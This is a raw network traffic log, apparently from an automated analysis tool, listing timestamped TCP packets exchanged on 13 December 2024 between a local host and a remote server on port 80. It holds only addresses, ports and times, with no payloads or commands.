Dec 13, 2024 03:40:49.890428066 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.890435934 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.890466928 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.891388893 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.891436100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.891485929 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.891525984 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.892425060 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.892468929 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.892548084 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.892589092 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.893718958 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.893754005 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.893762112 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.893793106 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.894714117 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.894747972 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.894762039 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.894789934 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.895828962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.895864964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.895867109 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.895905972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.896698952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.896739006 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.896836042 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.896878004 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.897794962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.897830009 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.897838116 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.897871971 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.898910046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.898946047 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.898960114 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.898989916 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.900124073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.900160074 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.900166988 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.900199890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.901076078 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.901113033 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.901119947 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.901155949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.902003050 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.902046919 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.902121067 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.902160883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.903167963 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.903203011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.903207064 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.903243065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.904359102 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.904392958 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.904400110 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.904431105 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.905478001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.905513048 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.905531883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.905553102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.906128883 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.906171083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.906604052 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.906667948 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.907207966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.907259941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.907413960 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.907454014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.908294916 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.908349037 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.908349037 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.908391953 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.952308893 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.952388048 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.952402115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.952445984 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.952542067 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.952584982 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.952671051 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.952708960 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.953672886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.953711987 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.953783035 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.953819990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.955235958 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.955275059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.955342054 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.955851078 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.955887079 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.955890894 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.955921888 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.956818104 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.956861019 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.956919909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.956957102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.957842112 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.957890034 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.957974911 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.958015919 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.959074020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.959089994 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.959111929 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.959126949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.960047960 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.960072041 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.960093021 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.960158110 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.961317062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.961333036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.961354971 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.961366892 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.962039948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.962075949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.962121010 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.962158918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.963126898 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.963167906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.963212013 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.963248014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.964190006 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.964241028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.964287043 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.964324951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.965305090 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.965342045 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.988048077 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.988079071 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.988101959 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.988114119 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.988420963 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.988461971 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.988498926 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.988537073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.989351034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.989392042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.989425898 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.989461899 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.990365028 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.990402937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.990495920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.990592003 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.991441965 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.991481066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.991580963 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.991617918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.992501020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.992539883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.992655039 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.992692947 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.994105101 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.994122982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.994143009 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.994158030 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.994589090 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.994626045 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.994673014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.994709015 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.995675087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.995713949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.995754957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.995793104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.996805906 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.996823072 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.996848106 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.996861935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.997987986 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.998006105 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.998043060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.998061895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.998811007 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.998856068 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.998907089 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.998944044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.999912977 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.999952078 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.000027895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.000065088 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.000978947 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.001018047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.066847086 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.066880941 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.066899061 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.066899061 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.066916943 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.066916943 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.066934109 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.066955090 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.067954063 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.067979097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.068003893 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.068017006 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.068829060 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.068881035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.068931103 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.068975925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.069864035 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.069907904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.069998980 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.070041895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.070928097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.070975065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.071013927 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.071055889 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.071993113 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.072040081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.072079897 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.072120905 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.073045015 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.073092937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.073180914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.073224068 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.074098110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.074141979 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.074240923 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.074282885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.075114965 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.075159073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.075326920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.075370073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.076222897 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.076265097 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.076303005 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.076342106 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.077334881 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.077379942 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.077419996 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.077460051 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.078425884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.078443050 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.078465939 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.078480005 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.079368114 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.079411030 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.079468012 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.079513073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.080513000 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.080528975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.080554008 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.080568075 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.081685066 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.081701994 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.081724882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.081737041 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.082524061 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.082575083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.082623959 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.082664967 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.083614111 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.083707094 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.083724022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.083746910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.084650993 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.084691048 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.084850073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.084928036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.085762978 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.085792065 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.085803032 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.085828066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.086752892 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.086797953 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.086844921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.086886883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.087811947 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.087857008 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.087898016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.087939024 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.089010000 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.089025974 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.089051962 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.089063883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.089907885 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.089956999 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.090008974 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.090049028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.091002941 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.091042042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.091072083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.091120958 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.092195034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.092211962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.092236042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.092247963 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.093065977 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.093108892 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.093380928 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.093422890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.144444942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.144464016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.144494057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.144507885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.144510984 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.144529104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.144535065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.144548893 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.145601988 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.145627975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.145653009 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.145662069 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.146651983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.146677971 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.146713972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.146725893 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.147563934 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.147618055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.147667885 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.147713900 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.148616076 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.148669958 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.148739100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.148786068 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.149681091 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.149733067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.149780989 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.149827003 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.150729895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.150779963 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.150824070 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.150865078 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.151777029 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.151824951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.151896954 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.151935101 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.152818918 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.152868986 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.152920961 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.152955055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.153894901 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.153943062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.154036999 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.154073954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.154939890 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.154978037 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.155044079 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.155081034 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.156029940 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.156073093 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.156143904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.156182051 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.157063007 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.157109022 CET	49730	80	192.168.2.4	80.82.65.70
